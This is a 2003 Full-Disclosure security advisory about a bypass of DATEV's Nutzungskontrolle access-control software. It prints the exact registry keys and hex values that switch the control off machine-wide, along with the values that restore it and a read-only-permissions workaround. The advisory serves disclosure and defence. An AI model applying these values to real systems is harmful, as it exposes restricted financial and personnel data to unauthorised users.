full-disclosure - DATEV Nutzungskontrolle Bypassing (REG)

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From: t4rku5 at hushmail.com (t4rku5@...hmail.com)
Subject: DATEV Nutzungskontrolle Bypassing (REG)

Topic: DATEV Nutzungskontrolle Bypassing

Release Date: 2003-10-30

Affected system:
================

- Nutzungskontrolle V.2.2
- Nutzungskontrolle V.2.1

Unaffected system:
==================

- none known

Summary:
========

DATEV eG is a German Company, which makes Software for tax advisors and

lawyers. The Nutzungskontrolle (NUKO) is a Software to restrict the access
for the users. For example, a normal user is not allowed to see the internal
reward accounting data. These data are restrictet by the NUKO by, for

example, blocking the "advisor number", which is used for all data in
the
internal reward accounting.

Issue:
======

It is possible to deactivate the NUKO with just importing 2 registry
keys:

[HKEY_LOCAL_MACHINE\SOFTWARE\DATEV]
"NukoInfo"=hex:00,00,00,00,00,00,00,00,e4,6c,d9,ce,f1,69,97,e7,61,eb,

08,48,e7,\
71,65,9b

[HKEY_LOCAL_MACHINE\SOFTWARE\DATEVeG\Components\B0000046\Versions\1.0\NukoInfos]
"NukoInfo"=hex:00,00,00,00,00,00,00,00,e4,6c,d9,ce,f1,69,97,e7,61,eb,

08,48,e7,\
71,65,9b

If these 2 keys are importet, the NUKO is deactivated for the complete
machine. So it is possible to see all data which are normaly restricted
by the
NUKO.

The first 8 hex positions are freely choosable and dont have to be the
same as
in the second key. The next 16 positons have to be exactly as in the
example.

To activate the NUKO just import the following keys:

[HKEY_LOCAL_MACHINE\SOFTWARE\DATEV]
"NukoInfo"=hex:00,00,00,00,00,00,00,00,ee,37,8f,26,b2,e2,e6,ed,b7,ee,

c0,1d,f4,\
84,62,c4

[HKEY_LOCAL_MACHINE\SOFTWARE\DATEVeG\Components\B0000046\Versions\1.0\NukoInfos]
"NukoInfo"=hex:00,00,00,00,00,00,00,00,ee,37,8f,26,b2,e2,e6,ed,b7,ee,

c0,1d,f4,\
84,62,c4

Workaround:
===========

Give normal users "read only" access to this Registry keys.

Credits:
========

Discovered by t4rku5 

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